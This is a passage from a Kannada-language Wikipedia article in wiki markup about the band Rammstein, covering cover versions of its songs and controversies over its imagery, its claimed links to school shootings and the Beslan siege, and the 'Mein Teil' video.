ಆಧರಿಸಿ ಶಾಸ್ತ್ರೀಯ ಸ್ವರ ಮೇಳದ ಹಾಡನ್ನು ರಚಿಸಿದ. ಈ ಹಾಡನ್ನು "ಮ್ಯೇನ್ ಹರ್ಜ್ ಬ್ರೆನ್ನಟ್ " ("ಮೈ ಹಾರ್ಟ್ ಬರ್ನ್ಸ್") ಎಂಬ ಹೆಸರಿನಲ್ಲಿ ಕರೆಯಲಾಗುತ್ತದೆ. * "[[ಸೀಮನ್]]": [[ಅಪೊಕಾಲಿಪ್ಟಿಕ]] ಮತ್ತು [[ನಿನಾ ಹ್ಯಾಗನ್]] ನಿಂದ. ಈ ಮುಖಪುಟ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಮೇಲೆ ಪ್ರಮುಖ ಪ್ರಭಾವವನ್ನು ಬೀರಿತು. ಆದಕಾರಣ ಅದು 2005 ವಸಂತ ಕಾಲದ ಪ್ರವಾಸದಲ್ಲಿ ಅಪೊಕಾಲಿಪ್ಟಿಕವನ್ನು ಅವರ ಜೊತೆಯಲ್ಲಿ ಸಹ-ಶ್ರೇಷ್ಟ ಕಾಲಾವಿದರಾಗಿ ಕರೆದುಕೊಂಡಿತು.ಅಲ್ಲದೇ ವೇದಿಕೆಯ ಮೇಲೆ ವಾದ್ಯವೃಂದವನ್ನು ಅದರ ಜೊತೆಯಲ್ಲಿ "ಒನೆ ಡಿಚ್" ("ವಿತೌಟ್ ಯು")ಮತ್ತು "ಮ್ಯೇನ್ ಹರ್ಜ್ ಬ್ರೆನ್ನ್ ಟ್ " ("ಮೈ ಹಾರ್ಟ್ ಬರ್ನ್ಸ್") ಹಾಡಿಗೆ ಪ್ರದರ್ಶನ ನೀಡಲು ಸ್ವಾಗತಿಸಿತು. "[[ಬೆನ್ ಜಿನ್]]" ಏಕಗೀತೆಯೂ ಕೂಡ ಅಪೊಕಾಲಿಪ್ಟಿಕ ಮಾಡಿರುವ "ಕೆರೋಸಿನಿ" ಎಂಬ ಹಾಡಿನ ಮರು ಮಿಶ್ರಿತ ಧ್ವನಿ ಮುದ್ರಣವಾಗಿದೆ. * "[[ಒನೆ ಡಿಚ್]]":[[ಲೈಬ್ಯಾಚ್]] ಮಾಡಿರುವ [[ಮರು ಮಿಶ್ರಿತ ಧ್ವನಿ ಮುದ್ರಣ]](ಮತ್ತು ಹೊಸ ಹಾಡನ್ನು ಸೇರಿಸಲಾಗಿದೆ)<ref>http://musicbrainz.org/release/8a5b69ec-e5f9-4c96-ad56-6bcd7f4b9d37.html</ref> ವಾಗಿದೆ. * "[[ವೈಬಿಸ್ ಫ್ಲೆಸ್ಚ್]]": ಜರ್ಮನ್ [[ಡೆತ್ ಮೆಟಲ್]] ವಾದ್ಯವೃಂದವಾದ [[ಡೆಬ್ಯೂಚೆರಿ]] ರಚಿಸಿರುವ ಹಾಡಾಗಿದೆ. ,ಈ ಹಾಡನ್ನು ಅವರ ''ಬ್ಯಾಕ್ ಇನ್ ಬ್ಲಡ್ '' ಆಲ್ಬಂಗೆ ಬಳಸಿಕೊಳ್ಳಲಾಗಿದೆ. * "ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌": "ರಿನ್ಡ್ ಫ್ಲೈಸ್ಚ್ ಎಂದು" ಹೆಸರಿಸಲಾದ ಜರ್ಮನ್ ರೇಡಿಯೋ ಡಿಜೆ ಡುಓಕೈ ಮತ್ತು ಬಾಲ್ಟಿಜಿಯಿಂದ ಅಣಕ ಬರಹ. ಇದು 2001ರಲ್ಲಿ ಡೆಲ್ಟಾ ರೇಡಿಯೋದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿತ್ತು .ತರುವಾಯ ಇದು ಡೌನ್ ಲೋಡ್ ನ ರೂಪದಲ್ಲಿ ದೊರೆಯಿತು. * "[[ಮ್ಯೇನ್ ಟಿಲ್]]":ಬ್ಲ್ಯೂಗ್ರಾಸ್ ಆವೃತ್ತಿ [[ಹೇಸೀಡ್ ಡಿಕ್ಸಿ]]ವಾದ್ಯವೃಂದದ 2007 ರ ಆಲ್ಬಂ ಆದ ''[[ವೆಪನ್ಸ್ ಆಫ್ ಗ್ರಾಸ್ ಡಿಸ್ಟ್ರಕ್ಷನ್]] '' ನ ಬೋನಸ್ ಹಾಡಾಗಿ ಕಾಣಿಸಿಕೊಂಡಿತು. * "[[ಇನ್ ಲೈಡ್]]": ಜರ್ಮನ್ ಪಾಪ್ ಗಾಯಕಿ [[ನೆನ]] ( "99 ಲುಫ್ಟ್ ಬಲೂನನ್ಸ್ ನ ಲೇಖಕ " ("99 ಏರ್ ಬಲೂನ್ಸ್"))ಹಾಡನ್ನು ಆಕೆಯ ಕವರ್ಸ್-ಆಲ್ಬಂ ''[[ಕವರ್ ಮಿ]]'' ಯಲ್ಲಿ ಒಳಗೊಂಡಿದ್ದಾಳೆ . * [[ನಾರ್ವೆ ದೇಶದವರ]] ರ‌್ಯಾಮ್‌ ಸಂಡ್ ಎಂದು ಕರೆಯಲ್ಪಡುವ ವಾದ್ಯವೃಂದ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಹಾಡುಗಳ ಜೊತೆಯಲ್ಲಿ ಅದರ ಸಾಹಿತ್ಯವನ್ನೂ ಕೂಡ [[ಹೊಸ ನಾರ್ವೆ ಭಾಷೆ]]ಗೆ ಅನುವಾದಿಸಿ ಹಾಡಿದೆ. * "[[ಮನ್ ಗೆಗೆನ್ ಮನ್]] " ಏಕಗೀತೆಯನ್ನು ಒಳಗೊಂಡಿರುವ ವಿನ್ಸ್ ಕ್ಲಾರೆಕ್ ನ [[ಡಿಪೇಚ್ ಮೂಡ್]] ಅತ್ಯಂತ ಹೆಚ್ಚು ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಆವೃತ್ತಿಗಳನ್ನು ಬಳಸಿದೆ. [[ಡೆಪೆಚ್ ಮೋಡ್]]" ನ [[ಸ್ಟ್ರಿಪ್ಪಡ್]]" ಆಲ್ಬಂ ಅನ್ನು ಒಳಗೊಂಡಂತೆ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಅದೇ ಅನೇಕ ಮುಂಚೂಣಿಯ ಹಾಡುಗಳ ಮುಖಪುಟವನ್ನು ನಿರ್ಮಿಸಿದೆ. ಅಪೊಕಾಲಿಪ್ಟಿಕದ ಆಲ್ಬಂ ''[[ವರ್ಲ್ಡ್ಸ್ ಕೋಲಿಡ್]]'' ನಲ್ಲಿ ಟಿಲ್ ಲಿನ್ಡ್ ಮ್ಯಾನ್ ಅತಿಥಿ ಗಾಯಕನಾಗಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ. ಅವರು ಡೇವಿಡ್ ಬೊವೈ ನ ಹಾಡಾದ "[[ಹಿರೋಸ್]]"ಅನ್ನು ತೆಗೆದುಕೊಂಡರು, ಇದು ಜರ್ಮನ್ ಭಾಷೆಯಲ್ಲಿಯೂ "ಹೆಲ್ಡನ್"ಎಂಬ ಹೆಸರಿನಲ್ಲಿಯೂ ಕೂಡ ಬಿಡುಗಡೆಯಾಗಿದೆ. ಜರ್ಮನ್ ಆವೃತ್ತಿಯನ್ನು ಲಿನ್ಡ್ ಮ್ಯಾನ್ ಹಾಡಿದ್ದಾನೆ.ಅಲ್ಲದೇ ಆತನ ಹಾಡನ್ನು ''ವರ್ಲ್ಡ್ಸ್ ಕೊಲೈಡ್'' ನಲ್ಲಿ ಕೇವಲ ಜರ್ಮನ್ ಭಾಷೆಯ ಹಾಡಾಗಿ ಮಾಡಿದ್ದಾನೆ.<ref>{{cite web | url=http://rammstein.fansait.net.ua | title=rammstein.fansait.net.ua | accessdate=2007-06-08 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಏಕಗೀತೆಗಳು ಸಾಮಾನ್ಯವಾಗಿ ಅನೇಕ ಮರು ಮಿಶ್ರಿತ ಧ್ವನಿ ಮುದ್ರಣವನ್ನು ಹೊಂದಿವೆ. ವಿಶೇಷವಾಗಿ ಯಾವಾಗಲೂ [[ಕ್ಲಾವ್ ಫಿಂಗರ್]] ನಿಂದ ತೆಗೆದುಕೊಳ್ಳಲಾಗಿವೆ. == ವಿವಾದಗಳು == === ಪ್ರತಿಮೆಗಳು === [[ಚಿತ್ರ:Rammstein Herzeleid cover.jpg|thumb|150px|ಮೂಲ ಹರ್ಜಲೈಡ್ ಆಲ್ಬಂ ಕವರ್]] "ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಸಂಗೀತವು ಅದೆಂತಹ ಮೃಗೀಯ ಶಕ್ತಿಯನ್ನು ಹೊಂದಿದೆ ಎಂದರೆ ಅವರ ಸಂಗೀತ ಚಂಡಮಾರುತ ಬೀಸುವ ಹಾಗೆ ಇರುತ್ತದೆ. ಅದಲ್ಲದೇ ರಂಗಮಂಚದ ಮೇಲೆ ನೋಡುಗರಿಗೆ ನಯನ ಮನೋಹರವಾಗಿರುತ್ತದೆ" ಎಂದು ನ್ಯೂ ಯಾರ್ಕ್ ಟೈಮ್ಸ್ ಹೇಳಿಕೆ ಪ್ರಕಟಿಸಿದೆ.<ref>{{cite web | url = http://movies2.nytimes.com/gst/movies/movie.html?v_id=184439 | title = NYTimes Movies | accessdate = 2007-04-10 | publisher = New York Times Corporation }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಸದಸ್ಯರು ವಿವಾದಗಳನ್ನು ಸ್ವಾಗತಿಸಲು ಮುಜುಗರ ಪಡುತ್ತಿರಲಿಲ್ಲ. ಅಲ್ಲದೇ ಆಗಾಗ [[ನೈತಿಕ]] ಚಳವಳಿಗಾರರಿಂದ ಛೀಮಾರಿ ಹಾಕಿಸಿಕೊಳ್ಳತ್ತಿದ್ದರು. ಜೂನ್ 1999ರಲ್ಲಿ [[ಮ್ಯಾಸ್ಸಚುಸೆಟ್ಟ್ಸ್ ನ ವೊರ್ಸೆಸ್ಟರ್]] ನಲ್ಲಿ ನಡೆದ ಗಾನಗೋಷ್ಠಿಯಲ್ಲಿ ಪ್ರದರ್ಶನ ಮಾಡುವಾಗ [[ಕೃತಕ ಪುರುಷ ಜನನೇಂದ್ರಿಯ]]ದಿಂದ ದ್ರವ ಹೊರಹಾಕುವುದನ್ನು ಪ್ರದರ್ಶಿಸಿದರು. ಅವರು ವೇದಿಕೆಯ ಮೇಲೆ ಮಾಡಿದ ಈ ಪ್ರದರ್ಶನ ಅವರನ್ನು ಜೈಲಿನಲ್ಲಿ ಒಂದು ರಾತ್ರಿ ಕಳೆಯುವಂತೆ ಮಾಡಿತು. ಜರ್ಮನಿಗೆ ಹಿಂದಿರುಗಿದ ನಂತರ ವಾದ್ಯವೃಂದವು ಅವರ ವಿಡಿಯೋಗಳಲ್ಲಿ ಮತ್ತು ಗಾನಗೋಷ್ಠಿಗಳಲ್ಲಿ ಅಸ್ಪಷ್ಟವಾದ ಸೈನಿಕ ಪ್ರವೃತ್ತಿಯ ಪ್ರತಿಮೆಗಳಿಂದ ಹಾಗು [[ಲೆನಿ ರೈಫ್ರೆನ್ಶಲ್]] ಮಾಡಿರುವ ''[[ಒಲಂಪಿಯ]]'' ಚಲನಚಿತ್ರದ ಡೆಪೆಚೆ ಮೂಡ್ ನ ಹಾಡದ "ಸ್ಟ್ರಿಪ್ಪಡ"ನ ವಿಡಿಯೋವನ್ನು ಒಳಗೊಂಡಂತೆ ಮತ್ತೆ ಮತ್ತೆ [[ಪ್ರತಿಗಾಮಿ]]ಗಳ ಆಪಾದನೆಯನ್ನು{{Who|date=March 2010}} ಎದುರಿಸಬೇಕಾಯಿತು. ಅವರ ಮೊದಲನೆಯ ಆಲ್ಬಂ ಆದ ''ಹರ್ಜಲೈಡ್'' 1995 ರಲ್ಲಿ ಜರ್ಮನಿಯಲ್ಲಿ ಬಿಡುಗಡೆಯಾಯಿತು. ಈ ಆಲ್ಬಂನ ಪ್ರಥಮ ಪ್ರದರ್ಶನದಲ್ಲಿ ತಂಡದವರು ಬೆತ್ತಲೆ ಎದೆಯನ್ನು ಪ್ರದರ್ಶಿಸಿದ ಶೈಲಿ ಹೇಗಿತ್ತೆಂದರೆ ಒಬ್ಬ ವಿಮರ್ಶಕನ ಕಣ್ಣಿನಲ್ಲಿ ಸಂತೋಷದ ಮೂಲಕ ಶಕ್ತಿಯನ್ನು ತೋರಿಸುವಂತಿತ್ತು. ಒಬ್ಬ ವಿಮರ್ಶಕ ಈ ವಾದ್ಯವೃಂದ " [[ಮಾಸ್ಟರ್ ರೇಸ್]] ಗಾಗಿ ಇರುವ ಜಾಹೀರಾತು ಹುಡುಗರಂತೆ" ತಮ್ಮನ್ನು ತಾವು ಮಾರಾಟ ಮಾಡಿಕೊಳ್ಳುತ್ತಿದೆ, ಎಂದು ಅರೋಪಿಸಿದ್ದಾನೆ.<ref>{{cite web | url=http://herzeleid.com/en/faq/band | title= Herzeleid.com (FAQ) | accessdate = 2007-04-10 | publisher = Herzeleid.com }} </ref> ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ತಾವು ರಾಜಕೀಯ ಹಾಗು ಸಾರ್ವಭೌಮತ್ವದ ಜೊತೆಗೆ ಮಾಡುವುದು ಏನಿಲ್ಲವೆಂದು ಬಲವಾಗಿ ಪ್ರತಿಪಾದಿಸಿತು. ಕ್ರಿಶ್ಚಿನ್ "ಫ್ಲೇಕ್" ಲಾರೆನ್ಜ್ ಆರೋಪದಿಂದ ಸಿಟ್ಟಾಗಿ ಇದು ಕೇವಲ ಪೋಟೋವಾಗಿದ್ದು ಇದನ್ನು ಹಾಗೇಯೇ ಅರ್ಥಮಾಡಿಕೊಳ್ಳಬೇಕೆಂದು ತಿಳಿಸಿದರು. ''ಹರ್ಜಲೈಡ್'' ಆಲ್ಬಂಅನ್ನು ಉತ್ತರ ಅಮೇರಿಕಕ್ಕೆ ವಾದ್ಯವೃಂದದ ಸದಸ್ಯರನ್ನು ಚಿತ್ರಿಸಿ ವಿಭಿನ್ನ ಮುಖಪುಟದೊಂದಿಗೆ ನೀಡಲಾಯಿತು. "[[ಲಿಂಕ್ಸ್ 2-3-4]]" ಹಾಡನ್ನು (''ಲಿಂಕ್ಸ್'' "ಲೆಫ್ಟ್" ಜರ್ಮನ್ ಆಗಿ)ಈ ಆರೋಪಗಳಿಗೆ ಚುರುಕು ಪ್ರತ್ಯುತ್ತರವಾಗಿ ಬರೆಯಲಾಯಿತು. ಕ್ರುಪಸೆಯ ಪ್ರಕಾರ ಇದರ ಅರ್ಥ, "'ಮೈ ಹಾರ್ಟ್ ಬೀಟ್ಸ್ ಆನ್ ದಿ ಲೆಫ್ಟ್, ಟೂ, ತ್ರಿ, ಫೋರ್'. ಇದು ತುಂಬಾ ಸರಳವಾಗಿದೆ. ನೀವು ನಮ್ಮನ್ನು ರಾಜಕೀಯದಲ್ಲಿ ಸೇರಿಸಿಕೊಳ್ಳಬೇಕು ಅಂದುಕೊಂಡರೆ, ನಾವು ಎಡ ಭಾಗದಲ್ಲಿ ಇದ್ದೇವೆ. ಅದೇ ಕಾರಣದಿಂದ ನಾವು ಈ ಹಾಡನ್ನು ಮಾಡಿದ್ದೇವೆ".<ref>{{cite news | title= ''The Grand Rapids Press'' | accessdate = 2001-07-22 | publisher = Grand Rapids Press }} </ref> ಕ್ರಿಶ್ಚಿನ್ "ಫ್ಲೇಕ್" ಲಾರೆನ್ಜ್ ವಾದ್ಯವೃಂದ [[ನಾಜೀ]] ವಿಚಾರಗಳನ್ನು<ref>{{cite web | url=http://herzeleid.com/en/press/2005-11_flake_chat_english | title= Herzeleid.com (Press) | accessdate = 2007-04-10 | publisher = Herzeleid.com }} </ref> ಹೊರತುಪಡಿಸಿ ಕೆಟ್ಟ ಹಾಡನ್ನೂ ಕೂಡ ಬರೆಯ ಬಲ್ಲದು ಎಂಬುದನ್ನು ತೋರಿಸಲು ಈ ಹಾಡನ್ನು ಬರೆಯಲಾಗಿದೆ ಎಂದು ಇತ್ತೀಚೆಗೆ ಒಂದು ಆನ್ ಲೈನ್ ಚಾಟ್ ನಲ್ಲಿ ತಿಳಿಸಿದ್ದಾರೆ. === ಹಿಂಸಾತ್ಮಕ ಘಟನೆಗಳೊಡನೆ ಸಂಬಂಧ === ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಟಿ-ಶರ್ಟ್ ಧರಿಸಿರುವಂತಹ [[ಎರಿಕ್ ಹ್ಯಾರಿಸ್ ಮತ್ತು ಡೈಲ್ಯಾನ್ ಕ್ಲೇಬೋಲ್ಡ್]] ರ ಚಿತ್ರಗಳನ್ನು ಬಹಿರಂಗಪಡಿಸಲಾಯಿತು; ಹಾಗು ಅವರಿಬ್ಬರು ವಾದ್ಯವೃಂದದ ಅಭಿಮಾನಿಗಳೆಂದು ಯಾವಾಗ ತಿಳಿಯಲಾಯಿತೋ ಆಗ 1999 ರಲ್ಲಿ [[ಕೋಲುಮ್ ಬೈನ್ ಪ್ರೌಢ ಶಾಲೆಯಲ್ಲಿ ನಡೆದ ಹತ್ಯಾಕಾಂಡ]]ದೊಂದಿಗೆ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಸಂಬಂಧವಿದೆ ಎಂದು ಹೇಳಲಾಯಿತು.<ref name="700-michaelsen-19991028">{{cite web | title = 700 club interview (Archived at The Internet Archive on 2000-01-22) | author = Johanna Michaelsen | publisher = Christian Broadcast Network | date = 1999-10-28 | url = http://www.cbn.org/the700club/johannamichaelsen.asp | accessdate = 2006-07-10 | archive-date = 2000-01-22 | archive-url = https://web.archive.org/web/20000122101421/http://www.cbn.org/the700club/johannamichaelsen.asp | url-status = bot: unknown }}</ref><ref name="RT-columbine">{{cite web | title = Why did the Columbine shooting happen? Comments from religious sources | publisher = Ontario Consultants on Religious Tolerance | url = http://www.religioustolerance.org/sch_vio6.htm | accessdate = 2006-07-10}}</ref> ಎರಡು ಘಟನೆಗಳಿಗೂ ಸಂಬಂಧವಿದೆ ಎಂದು ತೋರಿಸುವ ಯಾವ ಆಧಾರವಿಲ್ಲದಿದ್ದರೂ ಕೂಡ ವಾದ್ಯವೃಂದವು ಘಟನೆಯ ಬಗ್ಗೆ ಒಂದು ಹೇಳಿಕೆಯನ್ನು ಕೊಡಲು ಬಯಸಿತು: :"ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಸದಸ್ಯರು ಡೆನ್ ವರ್ ನಲ್ಲಿ ಇತ್ತೀಚೆಗೆ ನಡೆದ ದುರಂತ ಘಟನೆಗೆ ನಮ್ಮ ಸಂತಾಪ ಹಾಗು ಸಮಾಧಾನವನ್ನು ಸೂಚಿಸುವುದಾಗಿ ತಿಳಿಸಿದರು. ಅಂತಹ ನಡವಳಿಕೆಯನ್ನು ಪ್ರಚೋದಿಸುವ ಯಾವುದೇ ಸಾಹಿತ್ಯದ ಅಂಶವಾಗಲಿ ಹಾಗು ರಾಜಕೀಯ ನಂಬಿಕೆಯಾಗಲಿ ನಮ್ಮಲ್ಲಿ ಇಲ್ಲವೆಂದು ಸ್ಪಷ್ಟ ಪಡಿಸಲು ನಾವು ಬಯಸುತ್ತೇವೆ. ಇದರ ಜೊತೆಯಲ್ಲಿ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಸದಸ್ಯರಾದ ನಾಮಗೂ ಮಕ್ಕಳಿರುವುದರಿಂದ ನಾವು ಅವರಲ್ಲಿ ಅಹಿಂಸಾ ತತ್ವ ತುಂಬಲು (ಭೋದಿಸಲು) ಪ್ರಯತ್ನಿಸುತ್ತೇವೆ". ಸೆಪ್ಟೆಂಬರ್ 10 2001ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ಏಕಗೀತೆ "[[ಇಚ್ ವಿಲ್]]" ("ಐ ವಾಂಟ್") ನ ವಿಡಿಯೋದಲ್ಲಿ ಸಂದೇಶವನ್ನು ಹಾಗು [[ಗೋಲ್ಡೆನೆ ಕ್ಯಾಮೆರ]] (ಗೋಲ್ಡನ್ ಕ್ಯಾಮರ್)ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆಯಲು ವಾದ್ಯವೃಂದದ ಸದಸ್ಯರನ್ನು [[ಬ್ಯಾಂಕ್ ಕಳ್ಳರು]]ಗಳಂತೆ ಚಿತ್ರಿಸಿಲಾಗಿತ್ತು. ಇದು ಅವರ "ನಟನೆಗೆ" ಕೊಡುವ [[ಎಮ್ಮಿ]] ಪ್ರಶಸ್ತಿಯ ಜರ್ಮನ್ ಆವೃತ್ತಿಯಾಗಿದೆ. ನ್ಯೂಯಾರ್ಕ್ ಸಿಟಿಯಲ್ಲಿ [[2001 ಸೆಪ್ಟೆಂಬರ್ 11 ರಂದು]] ಅನೇಕ ಮಾಧ್ಯಮ ಅಧಿಕಾರಿಗಳು ಹಾಗು ರಾಜಕೀಯ ವ್ಯಕ್ತಿಗಳು ವಿಡಿಯೋ ಪ್ರಸಾರವಾಗದಂತೆ ಸಂಪೂರ್ಣವಾಗಿ ನಿಲ್ಲಿಸಲು ಕೇಳಿಕೊಂಡನಂತರ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ ನಲ್ಲಿ ಈ ವಿಡಿಯೋದ ತುಣುಕುಗಳನ್ನು ಕೇವಲ ತಡರಾತ್ರಿಯಲ್ಲಿ ಮಾತ್ರ ಪ್ರಸಾರಮಾಡಲಾಯಿತು.<ref>{{cite web | url = http://www.rammstein.com/_Rosenrot/Band/Timeline/T2001/ | title = Rammstein.com (Timeline) | accessdate = 2007-04-10 | publisher = Rammstein | archive-date = 2006-10-18 | archive-url = https://web.archive.org/web/20061018081901/http://www.rammstein.com/_Rosenrot/Band/Timeline/T2001/ | url-status = dead }}</ref> ರಷ್ಯಾದ [[ಬೆಸ್ಲಾನ್ ಶಾಲೆ]]ಯನ್ನು ಭಯೋತ್ಪಾದಕರು ಸೆಪ್ಟೆಂಬರ್ 2004 ರಲ್ಲಿ ಮುತ್ತಿಗೆ ಹಾಕಿದ ಪ್ರಕರಣಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ "ಭಯೋತ್ಪಾದಕರು ಮುತ್ತಿಗೆ ಹಾಕುವ ಸಮಯದಲ್ಲಿ ಜರ್ಮನ್ ಹಾರ್ಡ್ ರಾಕ್ ತಂಡವಾದ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಹಾಡುಗಳನ್ನು ಕೇಳುತ್ತಿದ್ದರು" ಎಂದು ರಷ್ಯನ್ ಅಧಿಕಾರಿಗಳು ಆರೋಪಿಸಿದ್ದಾರೆ.<ref>{{cite web | url = http://news.independent.co.uk/europe/article28987.ece | title = Beslan Hostage Situation | accessdate = 2007-04-10 | publisher = The Independent | archive-date = 2006-04-06 | archive-url = https://web.archive.org/web/20060406015609/http://news.independent.co.uk/europe/article28987.ece | url-status = dead }}</ref> ಆದರೆ ಈ ಆರೋಪ ಯಾರಿಂದಲೂ ಸ್ಪಷ್ಟವಾಗಿಲ್ಲ. ವಾದ್ಯವೃಂದದ ಸದಸ್ಯರು ಈ ಪ್ರಕರಣಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೆಳಗಿನ ಹೇಳಿಕೆಯನ್ನು ನೀಡಿದ್ದಾರೆ:<ref>{{cite web | url=http://www.rammsteinuk.com/index.php?act=kerrang_oct | title= October Interviews | accessdate = 2007-04-10 | publisher = Rammstein in the UK }} </ref> :"ಇದರ ಬಗ್ಗೆ ಸಾಕಷ್ಟು ಮಾತುಗಳಿವೆ, ಆದರೆ ಜನರಲ್ಲಿ ಮೂಲ ಭಾವನೆಗಳಿದ್ದರೆ ಹೇಗೆ ಬೇಕಾದರೂ ಅವರನ್ನು ಜಾಗೃತಗೊಳಿಸಬಹುದು–ಏನು ಬೇಕಾದರೂ ಉದಾಹರಣೆಗೆ: ವರ್ಣಚಿತ್ರ,ಚಿತ್ರ. ಇದು ನಮ್ಮ ಸಂಗೀತಕ್ಕೆ ಆದಂತಹ ಒಂದು ಆಕಸ್ಮಿಕ ಘಟನೆಯಾಗಿದೆ. ಅವರು ಆ ನಿರ್ಧಾರವನ್ನು ತೆಗೆದುಕೊಳ್ಳಲು ಹಾಗು ಮೃಗೀಯವಾಗಿ ವರ್ತಿಸಲು ಏನು ಕಾರಣ ಎಂಬುದರ ಬಗ್ಗೆ ಯೋಚಿಸಿವುದು ಬಹು ಮುಖ್ಯವಾಗಿದೆಯೇ ಹೊರತು ಸಂಗೀತದ ಬಗ್ಗೆ ಇರುವ ಅವರ ಅಭಿರುಚಿಯನ್ನಲ್ಲ. ಈ ರೀತಿಯ ಘಟನೆಗಳು ಯಾವಾಗ ನಡೆದರೂ 'ಕಲಾವಿದರನ್ನು ದೂರಿದರಾಯಿತು'. ಇದು ಎಂಥಹ ಅಸಂಬದ್ಧ ಮಾತಾಗಿದೆ". (ಟಿಲ್ ಲಿನ್ಡ್ ಮ್ಯಾನ್). :"ನಮ್ಮ ಸಂಗೀತವನ್ನು ಆಕ್ರಮಣಕಾರಿಯಾಗಿ ಬಿಡುಗಡೆಮಾಡಲಾಗುತ್ತದೆ. ಇದನ್ನು ಕೇಳುವ ಜನರು ಅದನ್ನು ಮಾಡಲೂ ಬೇಕು ಅಂದುಕೊಂಡರೆ ಅದು ನಮ್ಮ ತಪ್ಪಲ್ಲ. ಕೆಟ್ಟ ಜನರು ನಮ್ಮ ಸಂಗೀತವನ್ನು ಇಷ್ಟಪಡುತ್ತಾರೆಂದು ನಾವು ಹಾರ್ಡ್ ಸಂಗೀತವನ್ನು ನಿಲ್ಲಿಸಿಬಿಡುವುದಾ?" (ಕ್ರಿಸ್ಟೋಫ್ "ಡೂಮ್" ಸ್ನೈಡರ್). ನವೆಂಬರ್ 2007 ರಲ್ಲಿ [[ಜೊಕೆಲಾ ಶಾಲೆಯ ಮಕ್ಕಳ ಹಾಗು ಶಿಕ್ಷಿಕಿಯ ಹತ್ಯೆಗೈದ]] ಹಂತಕ [[ಪೆಕ್ಕ-ಎರಿಕ್ ಅವಿನೇನ್]] ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ವಾದ್ಯವೃಂದವನ್ನೂ ಕೂಡ ಅವನ ಅತ್ಯಂತ ಅಚ್ಚು ಮೆಚ್ಚಿನ ವಾದ್ಯಂವೃಂದಗಳ ಪಟ್ಟಿಯಲ್ಲಿ ಸೇರಿಸಿಕೊಂಡಿದ್ದಾನೆ. ಆತನ ಈ ನಿರ್ಧಾರಕ್ಕೆ ಸಂಗೀತದ ಜೊತೆಯಲ್ಲಿ ಇತರ ವಸ್ತುಗಳನ್ನೂ ಕೂಡ ದೂಷಿಸುವಂತಿಲ್ಲ, ಎಂದು ಅವನು ಹೇಳಿಕೆಯನ್ನು ನೀಡಿದ್ದಾನೆ.<ref>{{cite web | url = http://oddculture.com/2007/11/07/the-pekka-eric-auvinen-manifesto/ | title = The Pekka Eric Auvinen Manifesto | accessdate = 2007-11-07 | publisher = Oddculture | archive-date = 2008-02-20 | archive-url = https://web.archive.org/web/20080220221250/http://oddculture.com/2007/11/07/the-pekka-eric-auvinen-manifesto/ | url-status = dead }}</ref> === ವಿಡಿಯೊಗಳು === ಅಕ್ಟೋಬರ್ 2004 ರಲ್ಲಿ "[[ಮ್ಯೇನ್ ಟೀಲ್]]"("ಮೈ ಪಾರ್ಟ್")ವಿಡಿಯೊ ಬಿಡುಗಡೆಯಾದಾಗ ಜರ್ಮನಿಯಲ್ಲಿ ಪ್ರಮುಖ ವಿವಾದವನ್ನು ಹುಟ್ಟುಹಾಕಿತ್ತು. ಇವರು [[ಅರ್ಮಿನ್ ಮೈವಸ್ ಕ್ಯಾನಿಬಲಿಸಂ]] ಪ್ರಕರಣದ ಹಾಸ್ಯ ನೋಟವನ್ನು ತಮ್ಮ ವಿಡಿಯೊದಲ್ಲಿ ಬಳಸಿಕೊಂಡಿದ್ದಾರೆ. ಇದರಲ್ಲಿ [[ವಿರುದ್ಧ ಲಿಂಗದ ರೀತಿಯಲ್ಲಿ ಅಲಂಕರಿಸಿಕೊಂಡಿದ್ದ]] [[ಸ್ಚೆನೈಡರ್]] ಹಾಗು ಆತನ ಹಿಡಿತದಲ್ಲಿ ವಾದ್ಯವಂದದ ಇತರ ಐದು ಜನರನ್ನು ಹಿಡಿದುಕೊಂಡು ಕೆಸರಿನಲ್ಲಿ ಅವರನ್ನು ಮುಳುಗಿಸುತ್ತಿರುವ ದೃಶ್ಯವನ್ನು ತೋರಿಸಲಾಗಿತ್ತು. ಈ ವಿವಾದ ಜರ್ಮನ್ ಮೊದಲನೆಯ ಹತ್ತು ಹಾಡುಗಳ ಹೆಸರಿರುವ ಪಟ್ಟಿಯಲ್ಲಿ ಏಕಗೀತೆ No. 2 ನೇ ಸ್ಥಾನ ಪಡೆಯುವುದನ್ನು ತಪ್ಪಿಸಲು ಸಾಧ್ಯವಾಗಲಿಲ್ಲ. ಮೈವಿಸ್ (ಈತ 2004 ರಲ್ಲಿ ನಡೆದ ನರಹತ್ಯೆಯ ಆರೋಪಿ. ಇವನನ್ನು 2006 ರಲ್ಲಿ ಮರುವಿಚಾರಣೆಗೆ ಒಳಪಡಿಸಿದ್ದಾಗ ತನ್ನ ತಪ್ಪಿಗೆ ಪಶ್ಚಾತ್ತಾಪ ಪಟ್ಟನು<ref name="UPI-miewes-20060509">{{cite web | title = 'Rotenburg cannibal' sentenced to life | publisher = United Press International | date = 2006-05-09 | url = http://www.upi.com/NewsTrack/view.php?StoryID=20060509-120534-3022r | accessdate = 